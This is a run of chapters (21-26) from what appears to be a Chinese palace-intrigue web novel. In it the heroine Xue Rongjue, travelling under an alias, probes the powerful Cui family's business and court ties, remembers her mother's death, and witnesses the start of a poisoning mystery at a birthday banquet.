他身后小厮忙弯腰上前:“公子,何事?” 他瞧着越走越远的身影,扬了扬下巴:“这位姑娘衣着清丽华贵,我怎么从未在安乐县见过?你去查查是谁家姑娘。” 小厮忙弯腰应是匆匆离去,离去时还心中纳罕,公子这是怎的了?情窦初开? * 钟瑶期看午后的阳光不错,便借小厨房做了几道江南甜点给薛容玦送去。 她来时薛容玦正坐在院中和茵陈一道绣香囊,看到钟瑶期招手让她在身边坐下。 钟瑶期笑着坐在她身边:“姑娘好兴致。” 薛容玦笑了笑道:“我并不擅女红,做着玩儿。” 钟瑶期将饭盒中的小甜点拿出来,放在桌上:“承蒙姑娘搭救,奴家也无以报答,便做了些家乡甜点,带来给姑娘尝一尝。” 薛容玦未曾吃过正宗南方甜点,闻言便放下手中香囊拿起一个花瓣形状的糕点尝了尝:“钟姑娘手艺真不错。” 钟瑶期听到她这句话,微微绷紧的背才放松:“姑娘喜欢便好,改日我再做些别的给姑娘。” 她又似想起什么似 21. 飒飒秋雨(七) 《揽流光》全本免费阅读 容玦十岁时的中秋就坐在巷子口的大树下边看月亮边等阿爹归来。 阿爹又去看阿娘了,阿爹年年中秋去陪阿娘,阿爹说与阿娘相识于中秋、离别于中秋。 自从阿娘去世后,容玦父女俩再未曾过中秋。 今天的月亮可真圆呐,像明珠、像玉盘也像城墙上那面战鼓,容玦心想。 月圆人团圆,可是他们一家不会再团圆了。 “施主,可有些吃食?”一位老僧的声音从容玦的身边传来,她转头就看到一位慈祥的僧人。 这位僧人却又和她见过的僧人有些不同,她那时还太年幼,不懂那不同是什么。 她从包裹里拿出几个月饼递给僧人:“这是我和阿爹自己做的,师傅不嫌弃便好。” 这位僧人摆摆手,颇为潇洒:“这世道能填饱肚子已是不易,怎会嫌弃施主一番好意。” 书中的高僧都十分有智慧,容玦想着这位僧人虽然衣着落魄,可是书中的高僧都是这样的。 她想了想问道:“小女可否问师傅个问题?” 这位僧人笑着应道:“那是自然,不知施主有何迷津?” 容玦瞧了瞧天上月亮,冰冷又明亮,像是神祇俯瞰着人间。 “月亮瞧着这人间会不会难过呢?” 这位僧人吃完拍了拍手,也同她一同看月亮:“月亮不会难过,月亮也不会欣喜,人世间的沧海变幻对它而言不过是一瞬。 “施主觉得月亮会难过,不过是因为姑娘心中苦涩。” 容玦笑了笑:“至少还有月亮陪我难过,也并不孤单。” 这位僧人边吃边打量着容玦,这目光虽然并无恶意,却还是让容玦满身不自在:“师傅在瞧什么?” 他摇了摇头:“没什么,只是曾与姑娘有过一面之缘,姑娘身上有大机缘。” 容玦闻言转头瞧了瞧他,又仔细想了想:“我似乎未曾见过师傅呢,师傅可是记错了?” 他笑着摇了摇头:“姑娘不记得也是寻常,时候未到。 “即是相遇便是缘分,老僧便送姑娘一句话吧。” 容玦闻言双手合十,微微低头:“请师傅赐教。” 他的声音犹如穿越了长久时光而来,沧桑的声音与稚嫩的声音渐渐重合,环绕在容玦的耳边。 “诸法因缘生,诸法因缘灭。” 容玦那时毕竟年纪小,眼中充满困惑:“敢问师傅这是何意?” 这僧人却大笑着起身:“不可说不可说,施主他日自当领悟。” * 薛容玦突然睁开眼,却被璀璨的日光晃了眼,又阖上了眼。 原来是他。 诸法因缘生,诸法因缘灭。 薛容玦心中长久地被一团不明的迷雾困扰着,她隔着迷雾窥不见、想不透。 可是大师告诉她,因缘自有天定,不必执着。 …… 茵陈发现容姑娘很喜欢院内的这棵大榕树,前几日刚刚搬来便指挥着人又是放置石桌、又是放置躺椅。 现下她正躺在那个躺椅上盖着毯子闭目养神。 午后的阳光穿过树叶斑驳点点地洒在她身上,容姑娘像是卧在海棠中的美人,身上像是覆了一层金箔,躺在树荫下触手可及又像漂浮在云端可望不可及。 她抬头看了看蔚蓝的天空,秋高气爽、风轻云淡。 可能是秋日的原因吧,茵陈心想。 茵陈犹豫了半晌,还是悄声挪步,未待她近前,薛容玦慵懒地开口道:“怎么了?” 茵陈不禁长出一口气:“顾公子刚遣人来问,今日中秋,姑娘可有什么想吃的,他先去准备。” 薛容玦没有睁眼,只是淡淡道:“我已让竹绿订了一桌菜,你们晚上一起在大堂聚聚吧,我便不去了。” 茵陈正打算开口,又被薛容玦的声音打断了:“你若是想和飞廉聚聚,跟凌侍卫说一声便好,我之前交代过他。 “下去吧,明日之前别让人进这个院子。” 茵陈犹豫着还是轻轻退出了院门,对门口的婢女和小厮交代了几句便离去了。 天色渐渐暗了下来,就像有人以蓝天为纸在作一幅水墨画,原本澄澈湛蓝的天际渐渐攀上墨色,最终一片漆黑。 婢女曾犹豫着是否要入院点灯,想到茵陈姐姐走前的交代,还是没有进去。 薛容玦此刻已经起身坐在躺椅上,双手抱膝下巴放在膝头望着漆黑的天际上那一盏明月。 她能听到热闹的庭院、繁华的街市、还有少女们在燃灯祈愿。 人间的灯越飞越高与天上的星子渐渐重合,她渐渐分不清她看到的到底是繁星还是灯火。 没关系,不论如何沧海桑田、物换星移,月亮永远在那里陪着她。 摩挲素月,人世俯仰已千年。① 不知道天上的明月眨眼间能不能替她看一眼阿娘呢? * “阿娘阿娘!你看阿玦像不像天上的月亮?” 小容玦晃了晃自己的脑袋,又指了指天上的明月。 容妻躺在家中树下的躺椅中,身上盖着厚重的棉被,面色苍白,看着眼前五岁的女儿心中涌上酸涩,却还是努力笑了笑:“阿玦可还记得,阿玦的名字是来自哪里?” 小容玦天真可爱,乌黑的眼珠转了又转,稚嫩的童声清脆澄澈:“辛苦最怜天上月,一昔如环,昔昔都成玦。②” 容海端着月饼和桂花酒放在石桌上,坐在爱妻身边笑着摸了摸女儿的头:“阿玦真是聪明伶俐。” 容妻看着女儿,不禁涌上泪意,却强撑着笑问道:“阿玦可知为何取这个名字?” 小容玦摇了摇头,三角髻上的流苏跟着轻轻晃。 “那是因为,阿爹阿娘希望阿玦健健康康的,”泪水顺着容妻的面庞流下,“月盈则亏、水满则溢,事事不必那么圆满,有那么一点缺口反而更好……” 她的声音越来越小,小容玦拉着阿爹的袖子小声问道:“阿爹,阿娘又睡着啦?” 容海抬手抚去爱妻面庞上的泪水,却无意间探到鼻息,手顿了一下。 他仰头看着那轮满月,将泪意压住:“是啊,阿娘又睡着了。” “那阿娘要多久才醒呢,”小容玦上前拉着阿娘的手,看着阿爹,“我还没和阿娘说完话呢。” 容海垂首悲悯地看着女儿,将女儿抱到怀里,仿佛这是他在这世间最后一点温暖的慰藉。 < 22. 飒飒秋雨(八) 《揽流光》全本免费阅读 薛容玦正在小口喝着茵陈给她配置的汤药,她昨日不过浅酌了些桂花酒,今晨醒来便有些宿醉的头痛。 “小姐,”竹绿从外行来,手中递来一封信,“姜姑娘来的信。” 薛容玦放下手中的小碗,一边拆信一边随意地问道:“钟姑娘近日在做些什么?” “没…没做什么。”竹绿微微低头应道。 竹绿看薛容玦被信件的内容吸引了注意力,悄悄出了一口气。 薛容玦拿着信件越看越严肃,厉声道:“快去请牧公子来!” 薛容玦起身走到窗边,微微仰头看着湛蓝的天际,人的心神却像是飘浮在云端。 薛容玦感觉自己像是踩在柔软的云朵之上,俯瞰着人间变幻,像是神女悲悯地洞悉了一切的走向的发展。 突然间,她从云端坠入人间,从一个看客变成了局中人,再不得抽身,也无从窥见那些沧海变幻。 牧平也来时便看到她站在窗边微微出神,他轻声询问,生怕惊扰了她:“姑娘急着寻我有何事?” 薛容玦请他坐下,将信件递给他看:“我们不能再徐徐图之,怕是要动作快一些,阿兄阿爹在京都我不放心。” “五皇子与文繁荫?”牧平也蹙眉,眼眸中也流露出一些疑惑,“我以为会是与柳家姑娘结亲。” “可是却是三公主与柳二郎结亲,”薛容玦脸上浮上一丝疑惑与笑意,“有趣。” 牧平也放下信件,问道:“姑娘何处‘有趣’此言呢?” 薛容玦的目光淡淡:“此前想着只是家兄的职位变动,便未曾告知公子。如今看来,怕是陛下不得已而为之。” “薛兄不是射声司马吗?” 薛容玦摇了摇头,到了杯茶推到他面前:“如今已是羽林中郎将了。” 牧平也闻言神色也变得晦暗不明。 薛容玦看着院中忙碌的婢女侍仆们,悠悠道:“我记得柳家是属意柳扶云与五皇子的,但最后却是五皇子与文繁荫结亲,柳凭风与三公主结亲。 “柳二郎与我兄长交情颇深,据兄长所言,柳家长房与二房因着些陈年往事有些龃龉,柳家二房更看好太子,但怎会与三公主结亲呢?” 牧平也想了想道:“许是柳家二房在此中有所筹谋,三公主并不受宠,崔夫人也并不重视这个女儿。” 薛容玦与盛璐沅接触不多,只是偶尔听薛皇后夸赞过几句她的聪慧。 可是,能让薛皇后都赞一句聪慧的人,必定有自己的筹谋,未必甘心做一枚棋子。 “想来,”薛容玦无意识地用手轻敲着脑袋,“阿兄的羽林中郎将怕不是陛下的无奈之举。” “骑郎将现为崔度之子崔允、车郎将柳凌霜、户郎将文符均为五皇子一党;几位中郎将与太子殿下交好,执金吾陶随也与太子殿下甚密;虎贲中郎将与羽林中郎将向来不偏向任何一边。 “太子妃之父乃将作大匠,可五皇子的妻兄乃文符,文家又与裴家姻亲甚近,陛下怕是为了安抚姑母阿爹才将阿兄能升为羽林中郎将。” 牧平也紧皱眉头,担忧道:“太子殿下局势如今甚险,薛家犹如昨日之田家。” 薛容玦好奇地问道:“我对前尘之事不甚了解,只知晓田氏一族权势极大,却不清楚到底是何种情形。” 牧平也看向窗外似乎陷入了回忆:“陛下登基之时,田太后掌权,可田太后膝下无子,因陛下年幼易于控制便被推上了皇位。 “后来,在田太后的安排下,陛下的第一位皇后乃是田家的女儿。那时田太后的兄弟二人一人把持军事、一人把持内政,整个朝堂就是田家的天下。后来还是凭借陛下和薛皇后二人一步步筹谋终于因平德十五年的军事贪污案覆灭了田氏一族。 “陛下与田皇后育有一子,不过出生不久便夭折了。有坊间秘闻,那个孩子是崔家在陛下的授意下出掉的,这也许是崔家能被陛下宠信的缘由之一。” “竟还有如此之事?”薛容玦惊道。 牧平也摇了摇头:“毕竟是传闻,不知真假,真相怕是只有陛下知晓了。” 窗外晴空万里,薛容玦此刻的心情却如秋日细雨般愁闷,一点一滴的愁绪都浇在她的心上。 “该如何破局呢?”薛容玦喃喃道。 牧平也看她愁容满面,便劝慰道:“姑娘不必担心,太子殿下聪慧过人,仁善亲民,薛家不会成为下一个田家。” 薛容玦扯了扯嘴角,眼睛却不住地看向广袤无垠的天空:“是吗?” * 薛容玦戴着面纱跟在牧平也身后,听他跟广济米行的人谈论着,今日天降下雨,整间米行只有几个忙碌的小厮和一位在柜台后打盹的帐房。 牧平也的声音如淙淙山泉般清朗:“敢问老板可在,在下一行人从京都而来,广济米行名闻天下,想与您谈一桩生意。” 店内一位中年人站在柜台里,身量虽不高,那眼神却充满了打量,语气不屑:“京都来的又如何,这全天下也没有值得我们合作的商家,你们还是赶紧走吧。” 牧平也倒是十分好脾气地问道:“不知老板可在?可否让在下与老板谈谈呢?” 眼瞅着那位中年人不耐要发火,薛容玦快步走到柜台前,将一个金元宝塞到他手中,笑着说道:“掌柜的别生气,我兄长此人稍微有些古板。家中旁支众多,我们也是无法,为了寻求门路专程从京都闻名而来,还望您指点一二。” 这位中年人在袖中掂量了掂量金元宝的分量,堆积出满脸的笑意,从柜台后引着二人到二层待客的房中,为二人分别斟了一碗茶。 “方才午休方歇,人还有些迷糊,二位别见怪。 “不过倒不是我不帮二位,二位可知这米行背后的老板是谁?” 薛容玦与牧平也对视一眼,牧平也不动声色道:“我等从京都而来,只听闻是一位王姓老板。” 这中年人啄了一口茶,摇了摇头道:“还是年轻,怪不得被家中旁支逼到这个份上。王姓老板不过是对外的幌子。” 他左右看了看,只见没人才悄声说道:“咱们米行啊,姓崔。” 薛容玦故作天真道:“您说的‘崔’可是京都崔将军的‘崔’?” 他点了点头,面容颇有些“与有荣焉”的骄傲:“咱们米行是崔广崔大人的儿子崔原公子在经营,崔将军是崔公子的小叔,宫中那位是他的姑母,算起来,他与五皇子也是表兄弟呢。” 他看着两位年轻人微怔的面庞,不禁有些恻隐之心,叹道:“哎,年轻人想做出一番成绩也无错,只是要有心机有手段,只有一腔热情可是不够的。” “多谢您指点,”薛容玦笑道,又将一块金元宝 23. 溪云初起(一) 《揽流光》全本免费阅读 窗外潺潺雨声滴落到这白榆湖中竟生出了几分世外桃源之感。 京都的酒楼多建于人烟喧嚷之地,两旁多是熙熙攘攘的街市。安乐县的酒楼建在湖面之上,白日坐观白榆湖、夜间遥赏北辰星。 她凭窗而望,看着雨滴坠落在湖面上飞溅出许多水珠,这些水珠像是用尽了力气想要离雨滴而去,虽然只有一瞬的自由便又被广阔的湖面吞噬。 “听雨观湖,崔公子真是有雅兴,挑了这么一个好地方。”薛容玦从未见过如此的酒楼,回身笑着对崔原道。 崔原笑了笑道:“在下想着顾公子与容姑娘自京都而来,怕是没见过这样的酒楼,姑娘觉得有趣便好。” 薛容玦虽未曾见过崔广,但是她见过崔度和崔棠,崔家人都有一副漂亮面孔。 崔度虽已人至中年,但依然可见年轻时的英俊朗然;崔棠自然是不必说,岁月更是沉淀了她的妩媚动人。 崔原和崔棠的眉眼很像,或者说和盛硕很像。 一双多情桃花眼,未语先带三分笑。 不过他许是经商的缘故,他的双眸不像盛硕总是盛满了不羁与潇洒,而更多的是世故与圆滑。 牧平也看到薛容玦放松的神情和平淡的笑容,他知道他的梦醒了。 牧平也强迫自己勾起唇角附和道:“崔公子好品味。” 崔原笑着道过奖,为二人各斟了碗茶:“这是南湖特产的岩红,二位尝尝。 “这南湖一年产的岩红除了进贡到宫里的之外,其余的便全在这酒楼了。” 牧平也浅尝了口茶:“初初入口味道偏苦,可当茶水入喉竟是甘甜清爽。果然好茶!” 崔原眼中闪过赞赏:“顾公子果然是懂茶之人,顾公子既然喜欢我便送些与你,今日能遇如此茶友,幸甚幸甚。” 牧平也连道不敢不敢。 崔原说罢想到了什么似的,又看向薛容玦:“容姑娘可是常去寺庙?” 薛容玦闻言愣了一下,笑道:“家母常去寺庙听讲经,我随着母亲去过几次。那日去无名寺也是母亲离京都前千叮咛万嘱咐,让我定要去看看天下闻名的无名寺是何样,回去讲与她听。” “原是如此,”崔原笑着点点头,“家母也是极爱佛经的,一年中有大半时间都在无名寺住着。” 薛容玦正欲开口,门外传来的叩门声,在崔原的示意下各式各样的菜品鱼贯而入。 崔原一一为二人介绍:“也不知二位吃不吃得惯江南菜,可是既然来了明郡定要尝尝的,若是不合口味尽管和我说。” 牧平也笑着与崔原寒暄着。 崔原此人虽经商可谈吐不凡,因着牧平也对茶的鉴赏对他格外赞赏,未曾想他博学广识,二人聊得十分投机。 几盅清酒下肚,二人已经是“崔兄”“顾兄”仿佛相见恨晚。 崔原总是疏离的面庞上也显出几分少年意气模样。 啪—— 房门被推开,一位身着火红衣裙的少女跨步而来:“阿兄!” 崔原转头看到这不速之客,无奈地按了按额角,起身将她拉到自己身边,抱歉道:“舍妹顽劣,还望两位见谅。” 崔原皱眉看向妹妹:“你怎么到这来了?” 她推门而入只看到了临窗而坐的兄长,绕过屏风才看见坐在兄长对面的牧平也。 少女明媚如火,薛容玦注意到她的目光看向牧平也时那骄傲的面庞染上了一丝羞涩,不过一身红衣很好地遮掩了过去。 她耸了耸肩,笑容明亮,虽在回答兄长的话,眼睛却一动不动地看着牧平也,眼眸流光溢彩:“在家里无事,出来转转,听闻阿兄在这里我就来瞧瞧。” 崔原无奈地摇了摇头,瞧见妹妹的目光一错不错地看向不认识的牧平也,介绍道:“顾思悠顾公子,从京都而来。这是顾公子的表妹容昭昭,容姑娘。” 她顺着兄长的介绍看向容昭昭,轻盈地落座在她身边:“容姑娘,你可真好看。我叫崔荔,容姑娘可以唤我阿荔,不知我与姑娘谁更大些?” 薛容玦笑道:“今年刚刚及笄,崔姑娘呢?” 崔荔笑着拉起她的手:“那我虚长容姑娘两岁,我一见容姑娘便心生好感。容姑娘不介意可唤我一声阿姐,我唤姑娘昭昭。” 薛容玦笑道:“自是如此,便承蒙阿姐照顾了。” 崔荔又转过身冲牧平也一笑:“即使如此,我便如昭昭唤公子一声阿兄可好,公子唤我阿荔即可。” 牧平也笑着为崔荔倒了一盏茶:“承蒙姑娘抬爱,崔兄在此,我如何当的起这一声阿兄。” 崔原虚点了两下崔荔:“我这妹妹最是骄纵,若是有何冒犯之处还望容姑娘和顾兄见谅。” 崔荔不乐意,一双眼睛紧张地觑着牧平也:“阿兄莫要胡说!” 牧平也与他碰杯道:“崔姑娘天真爽朗,崔兄谦虚了。” 崔荔闻言微微低头笑了一下,很浅,却被薛容玦捕捉到了。 崔原像想起了什么似的,对着牧平也道:“顾兄不是想与我们合作吗,可以与阿荔谈,她虽年纪不大但十分有想法,母亲也让她来历练历练。” 崔荔 24. 溪云初起(二) 《揽流光》全本免费阅读 灰白的云朵悬于灰暗的天空之上,枯树高耸,薛容玦行走于树林之中,脚下的碎枝“嘎吱嘎吱”地响着。 她不知道这是哪里,也不知道自己怎么会来到这里。 前方雾气四起,只见一团盈盈烛火在灰暗的森林中闪烁着。 她不自觉地被吸引,一步步朝着那团光亮走去。 可是她不论怎么走,都无法走近那团光,她有些着急,开始奔向那团光。 一个脚下不留意,她被绊了一下,忽然天旋地转,她已置身于一片桃林之中。 春风十里,桃花灼灼。 微风袭来,花瓣簌簌飘落,像是有了灵魂一般围绕着她翩翩起舞。 她的面容染上笑意,伸出手接上粉嫩的花瓣,与花瓣一同在这桃林里婆娑起舞。 粉嫩的花瓣原本如一层薄纱,环绕着她,犹如鱼龙戏水。 随着她轻快的步伐,桃枝摇曳生姿,纷纷扬扬的花瓣包裹着她。 她的眼前是重叠缤纷的粉色,只是这粉色越来越浓密,花瓣的包裹越来越紧密。 她渐渐喘不上气,包裹她的花瓣忽然化作烈焰将她吞噬,整片桃林幻化成她火海中的家。 她试图挣脱,却是徒劳,她无法挣扎,无法呼救。 “姑娘?姑娘醒醒……” 是谁? 是谁在叫我? 忽然,一阵凉意覆盖全身,吐着火舌的烈焰渐渐消失不见。 她睁开眼只看见一片漆黑,和一旁茵陈担忧的眼神。 “姑娘这是魇着了?”茵陈说着就要去点灯。 薛容玦拦住了她:“茵陈姐姐,别……别点灯,你来陪我躺躺吧。” 茵陈闻言躺在她的身边却还在絮叨着:“明日我为姑娘好好把把脉,我瞧着啊姑娘就是思绪太多了。” “好,”薛容玦惊慌的心绪在茵陈的絮叨中不断被抚平,声音中也染上了几分笑意,“那便要茵陈姐姐费心了呢。” 茵陈虽然来到她身边时间不久,却像个大姐姐一般照料着她,在她身边薛容玦总是能放心在她身边做一个小姑娘。 “茵陈姐姐,你能不能给我讲个故事啊?我睡不着了。” 茵陈笑着说道:“瞧着姑娘每日眉头紧锁的,原来也还是个喜欢听故事的小姑娘。那我便讲一个前些日子上话本子中看到的故事给姑娘吧。” 阿暮是千娇万宠长大的世家贵女,她幼时长于皇后姑母身边,只怕是比公主还金贵呢。姑母总说她值得天下间最好的男儿。可她却说,自己不要最好的男儿,要最和她心意的男儿。 那时年少的小将军、侯府的世子还有盛宠的皇子都对倾心于她,可是阿暮偏偏喜欢上了一个不受宠不起眼的小皇子。 阿暮初遇他时,他正被宫人搓磨,阿暮为他解了围,还未来得及问他的名姓,他便像受惊的小狼崽一般跑走了。 再次相遇是在宫宴之上,阿暮认出了角落的那个人就是上次所搭救的少年,她这才知晓这是陛下一个不受宠的儿子。 宫宴热闹非凡,可他偏居一隅,冷冷清清与这宫宴格格不入。 阿暮忽然很想将他拉入这纷繁热闹的人间,她也这么做了。 她上前去和他聊天,他虽然冷淡却仍记着那日她的恩情,两人的交谈还算愉快。 后来,阿暮时常去寻他,带他读书、带他骑射、带他狩猎。 因着阿暮的侧目,皇后便将他养在膝下,他不再是那个衣衫破烂的小皇子,而是皇后之子。 当他在马背上弯弓射箭时,阿暮觉得那支箭射向的不是猎物而是她的心。 阿暮去和姑母说他就是最和她心意的男儿。 “后来呢?”薛容玦问道。 后来,二人情愫渐生,少年成为了少年帝王,阿暮也成为了他的皇后。 在少年的治理下天下海晏河清,二人琴瑟和鸣,成为了一段佳话。 茵陈笑道:“故事就到这里了。” “是吗?”薛容玦总觉得后面的故事茵陈没有告诉她。 薛容玦正欲再问,却被茵陈打断了:“姑娘明日不是还要和崔家公子与姑娘去乡间游玩吗?再不睡天光就要大亮了。” 听了许久的故事,薛容玦也有些困了,打了个哈欠道:“茵陈姐姐明日记得为我把脉。” “好。” * 田间的农人正在忙碌着,远方的梧桐正随着肃肃秋风摇曳,昭示着深秋的到来。 两位孩童在路边玩闹未看到身后的行人,一下撞了上去。 他们看着来人衣着华贵,以为自己惹了祸,红着脸站在一旁。 薛容玦看到他们的样子笑了笑,蹲下身子,将荷包中的桂花糕递给他们:“别害怕,吃吗?很甜的。” 孩童看到贵人姐姐温柔又漂亮,还给他们桂花糕吃也展露了笑颜:“多谢姐姐。” 薛容玦看他们狼吞虎咽的样子,觉得十分可爱:“你们怎么不去上学堂?” 孩童还在专注地吃着桂花糕:“上……上不起……” “那……”薛容玦犹豫地问道,“你们长大后想要做些什么呢?” 孩童似乎觉得她的问题十分可笑,指了指两边的农田:“当然是和爹娘一样种地啦!” 远方的父母在叫两个孩子,他们冲薛容玦笑了笑便欢快地奔向自己的父母。 崔原看到她情绪低落便故意岔开话题:“这个阿荔,走路都不好好走,怕是要摔一跤才老实。” 崔荔在田间小道上倒着走,手中还拿着一支随手摘的小树枝晃着,不知牧平也对她说了什么,只见她粲然一笑。 田间小路崎岖不平,崔荔一个不小心崴了一下,还好牧平也眼疾手快扶住了她的手臂。 崔荔冲他笑了笑,这才老老实实地走在牧平也身边,向他介绍着周边的作物。 “我这妹妹啊,”崔原在后方不远处笑着摇了摇头,对薛容玦说道,“自小便是被母亲娇宠着长大的。” “当初她得知我要接手家中商号,非闹着要同我一起。她想要的一定要得到,便养成这么个争强好胜的性子” 薛容玦淡淡笑了笑:“崔荔姐姐性格活泼可人,娇蛮却不娇纵,十分惹人喜爱。” 崔原转头看向薛容玦,眼中含着笑意 25. 溪云初起(三) 《揽流光》全本免费阅读 崔广寿辰这日多雨的明郡偏偏放晴,虽然已然有些寒意,可崔府门前这络绎不绝的人群将寒意驱散,热闹得犹如上元佳节。 崔原带着一众弟妹在府门接待着来往的人群,不过他身边站着的并非妹妹崔荔,而是一位薛容玦未曾见过的少年,看起来与崔荔同岁,虽说不如崔原历练沉稳,却也有几分不羁少年气。 他站在崔原身后半步的位置,面上挂着漫不经心的笑容,看向长兄的目光却始终不屑。 薛容玦默默看着他们兄弟间的勾心斗角,又环视着人群,不禁对身边的牧平也说道:“不过是一个普通的寿辰,这怕是明郡有头有脸的人都来了吧……” 牧平也笑道:“听闻崔夫人和五皇子的贺礼前日里便已经到了,京中不少官员也陆续送了贺礼。” 薛容玦觑着他:“崔荔告诉你的?” 牧平也正欲开口解释,便被眼尖的崔原看到,崔原从人群中挤出走到二人身前:“还以为你们不来了。” 薛容玦笑道:“既已答应了崔公子,自然是要来的。” 牧平也让飞廉将贺礼交予崔原身后的小厮,崔原引着二人进入崔府。 只是在迈过门槛时,听到一个漫不经心的声音:“大哥带了些什么人啊?可不是什么阿猫阿狗都能进我们崔家的门的。” 崔原回首上下打量着他,面容上明明挂着笑容,可是说出的话却充满冷意:“是啊,确实不是什么人都有资格成为崔家人的,山鸡永远也成不了凤凰,阿季说呢?” “你!”被唤作阿季的人憋红了脸,崔原却懒得再给他一个眼神,招手叫来崔荔带着二人进入内院。 崔原看二人面色尴尬,主动解释道:“这是我的庶弟,他母亲是父亲最宠爱的妾室,这几年掌府中庶务,他一直对我与阿荔多有怨忿。” 牧平也倒是笑着道:“高门内宅多得是这种事情,兄友弟恭才是罕见。” 崔荔带着薛容玦前去了女眷落座之处,崔夫人坐在上首与一众贵妇人谈笑着,她看起来有些憔悴,双颊略微凹陷,双眸如古井无波,却依旧能看出年轻娇容。 她的腕上带着一串佛珠,许是常年礼佛的原因,看起来颇为慈眉善目。 崔夫人与裴家三房是双生子,自小被千娇万宠哄着长大的,听闻当年崔广上门提亲是被崔夫人三个哥哥从裴府扔出来的,多亏了崔广情深难移,终让裴家松口将小女儿嫁予他。 薛容玦上前拜见时微微低头,未能看见崔夫人那一瞬的怔愣,待她起身崔夫人拉着她的手寒暄了几句,说是与她十分投缘,将腕上的佛珠戴在了她的皓腕上。 薛容玦一眼便看出这串佛珠的不一般,连连推辞,最后还是崔荔说昭昭若是过意不去,常来陪母亲说说话。 薛容玦只得收下,崔荔招呼着薛容玦在一旁坐下,又急急忙忙离去了,她与身边人也不甚相熟,坐了一会便向崔夫人提出去花园逛逛。 她带着茵陈和竹绿按照婢女的指示,走了半晌终于走到了崔家的花园。 崔家的花园真是不输御花园的奇珍异草,薛容玦一时间晃了眼,弯着腰一一辨识着。 忽然一阵梅香飘来,她嗅了嗅虽然十分清香却觉得有些奇怪,虽说已进入深秋却也不到梅花绽放的季节。 她直起身子,在院中左看右看,才看到一位佳人坐在不远处品茗赏花,只是她垂着眼睛面容落寞。 她瞧着那抹身影思索了一番上前笑问道:“姑娘这一手茶泡得甚好,明明茶是明前茶,可却飘着梅花淡淡的幽香,这茶可有名字?不知姑娘如何做到的?” 此人闻言脸上充满惊喜,像是遇到了知己,招呼着薛容玦坐在对面:“姑娘一看便是懂茶之人。” “此茶名唤万里春,”说着为她倒了一盏茶,“姑娘尝尝?” “‘忽然一夜清香发,散作乾坤万里香。’①果然尝起来就似以梅花做引,”薛容玦浅斟了一口道。 可这位女子听到赞赏却叹了口气,喃喃道:“可惜……” 薛容玦只觉心中奇怪,又瞟到了她手腕梅花手链道:“姑娘的梅花手链十分别致,果然是喜爱梅花之人,不知是在何处所得?” 她抚上了皓腕上的手链,露出一个浅浅的笑容,这一笑才让薛容玦发现她有两个浅浅的酒窝:“这是一位友人所赠,是她自己亲手所编。” “原是如此,”薛容玦点了点头,“饮了姑娘的茶却不知如何称呼姑娘?” “姑娘唤妾身妙环便好。” 薛容玦起身道:“姑娘可唤我昭昭,今日还有事在身,不知改日可否来寻姑娘品茗?” 妙环笑着点点头:“那是自然,能遇到昭昭这样的知己,妾身求之不得。” 竹绿前去熟悉崔府地形、茵陈在向旁人打听女眷所在。 薛容玦离开花园后站在湖边观景,一位婢女端着糕点撞到了她身上,婢女跪趴在地上连声道:“贵人恕罪,奴婢无心的。” 薛容玦拍了拍身上的糕点粉,弯腰扶起了她,趁机悄声道:“去查查花园里的那名女子,她自称妙环。” 婢女暗自点点头,她起身看到茵陈疾步而来,大声道:“多谢贵人多谢贵人。” 茵陈连忙上前扶着薛容玦问道:“姑娘怎么了?” 薛容玦笑着摇了摇头,又对婢女说道:“下次小心些,去吧。” 小婢女踉踉跄跄地走远了,茵陈拿着帕子擦着被糕点弄脏之处,皱眉道:“幸好马车里多带了一套衣裙,姑娘要不还是换一身衣裙吧。” 薛容玦点点头:“也好。” 待二人一切收拾妥当入席之时,薛容玦坐在了牧平也为她留的位置上。 盛朝民风开放,并不忌讳男女同桌,况且此桌都是崔原和崔荔的好友,一群少年人几句话便熟悉了起来,好不热闹。 薛容玦看着嘈杂的人群,忍不住靠近牧平也悄声说道:“崔家这派头真大,瞧着和宫宴也没什么分别。” 牧平也点了点头也悄声说道:“崔家果真不简单。” “薛家算个屁,这薛家女儿还真以为自己是个什么人物了?” 二人正咬耳根便听到了此句狂言,薛容玦闻声只瞧见一位男子,便是先前和崔原一起迎宾的崔季,身边围绕的人脸上都充满了谄媚。 “二公子所言极是,那安乐郡主还真以为安乐县是她的封地。”他身边一个肥头大耳的公子谄媚道,“谁人不知道,安乐县、明郡是姓崔的。” 崔季满不在乎地笑了笑:“就是,父亲给她发帖子就是看得起她,还敢不来父亲的生辰宴,真以为自己了不得了。 “薛勖霖不过是靠着自己的皇后姐姐才能上战场,他又有几分实力?在军中还打压我二叔,若不是他我二叔才是大将军。” 一堆人在他身边“就是就是”地附和着。 “我姑母国色天香,她才是陛下最宠爱的妃子,我瞧着啊,这太子的位置也该换人来坐坐了。” 薛容玦皱着眉头正欲开口,便见崔荔从另一边行来,明明身量不如对方,上来就扇了他一巴掌,却睥睨着他:“崔季喝多了吧你!父亲的生辰宴也敢如此胡言乱语大放厥词!” 仔细瞧着,崔季脚步虚浮,面色发红,怒道:“崔荔你敢打我!” 说着便要还手,被赶来的崔原攥着手腕一把推开,他扫了一眼崔季身后的人群,刚刚还义愤填膺的跟屁虫对着崔原一声也不敢出。 崔原对自己的小厮说道:“二弟喝多了,送他回房,酒醒前别让他出来。” 崔季不服气还欲争辩,被崔原的小厮捂上嘴拖走了。 他又对着崔季身后的一群人笑道:“各位可是还不尽兴?不若去东院听会子戏?” 刚才在崔季身边那个肥头大耳的人弯着腰,脸上硬挤出一张笑脸:“大公子说的是,我们这就去,这就去。” 崔荔气哄哄地坐在薛容玦身边:“本来是来找你和顾公子前去听戏,谁知道又遇到崔季,真是扫兴!” 崔原处理完,笑着道:“让二位看笑话了。” 崔荔气愤地道:“崔季就仗着父亲宠他娘,一天 26. 溪云初起(四) 《揽流光》全本免费阅读 薛容玦随着崔原赶到时,大部分宾客都还在东院听戏,薛容玦站在外间隐约可见崔夫人并着崔荔、崔季与其母亲和两个年纪尚小的孩童在塌前。 崔广面目苍白躺在榻上,面部的血迹已然擦去,衣衫上却仍可见斑驳血迹。 薛容玦站在牧平也身边悄声问道:“怎么回事?” 牧平也摇了摇头表示不知道。 崔夫人看崔原急匆匆的样子倒是安抚着他:“李郎中马上就到,别急。” 又对着崔季的母亲厉声问道:“寿宴一应皆是你安排的,你如何说?” 崔季的母亲颤巍巍地跪在地上,抽泣着道:“夫人明鉴,婉娘……婉娘绝不敢谋害老爷啊!” 崔季见不得母亲低声下气的样子,硬拉着母亲站起身,可婉娘却执意不肯起身,他怒道:“你怕她做什么!我瞧着肯定是她嫉妒父亲对母亲的好,才下手的!” 婉娘闻言面色苍白呵斥道:“不许胡说!快跪下!” 